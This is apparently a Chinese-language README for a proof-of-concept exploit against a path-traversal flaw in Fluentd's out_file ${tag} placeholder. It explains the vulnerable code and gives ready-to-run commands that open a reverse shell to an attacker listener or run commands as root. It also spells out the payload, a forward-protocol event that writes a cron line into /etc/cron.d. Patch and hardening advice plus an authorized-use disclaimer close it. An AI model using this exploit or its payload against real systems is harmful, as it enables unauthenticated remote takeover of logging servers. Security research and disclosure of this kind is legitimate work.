out_file ${tag} 路径遍历导致的任意文件写入未认证的任意文件写入存在于 Fluentd 的 out_file 插件中,通过 ${tag} 占位符触发。
out_file 允许运维人员使用 ${tag} 占位符来模板化输出路径(例如 path /var/log/fluent/${tag})。Output#extract_placeholders(lib/fluent/plugin/output.rb)会将事件的标签替换到路径中,且不清理 ../(CWE-22):
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
通过 in_forward 协议(端口 24224)到达的事件携带从线路消息中原样获取的标签,且 allow_anonymous_source 默认为 true,因此未认证的攻击者可以设置类似 ../../../../../../etc/cron.d/pwn 的标签,从而逃逸配置的目录,并以 fluentd 进程用户身份写入任意绝对路径。
<= 1.19.21.19.3(在展开 ${tag} 之前拒绝标签中的 ..//绝对路径组件,PR #5391)in_forward,而非 in_httpin_http 使用 path.split('/').join('.') 从 URL 路径派生标签,这会将每个 / 转换为 .——因此 ../ 在 Linux 上无法存活(且 %2f 不会被解码)。只有 forward 协议(24224) 会逐字节传递标签。此漏洞利用只需该协议的一小部分(一条 msgpack [tag, time, record] 消息),并带有极小的内置编码器——无任何依赖。
仅需 Python 3 标准库。目标必须运行存在漏洞的 Fluentd,其 out_file 的 path 包含 ${tag},并且存在匿名的 in_forward source(默认配置)。要将文件写入转化为一次干净的 cron 投递,需要 out_file 不会破坏文件名/内容(例如 add_path_suffix false、append true、无 timekey、single_value 格式)——否则请利用文件写入覆盖已知路径的文件。
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
向端口 24224 发送一条 forward 事件 ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]。out_file 将 ${tag} 展开 → /var/log/fluent/../../../../../../etc/cron.d/pwn = /etc/cron.d/pwn,且(使用 single_value 格式时)将记录的 msg 原样写入 → 一条有效的 cron 行。cron 会在约 60 秒内以 fluentd 用户身份执行它(当 fluentd 以 root 身份运行时即为 root)。
将 Fluentd 升级到 ≥ 1.19.3;不要将 forward 端口暴露给不受信任的网络(启用共享密钥认证 / allow_anonymous_source false);不要以 root 身份运行 fluentd;对于不受信任的输入,避免在输出路径中使用 ${tag}。
仅用于授权的安全测试和教育目的。仅可针对您拥有或已获得明确测试许可的系统使用。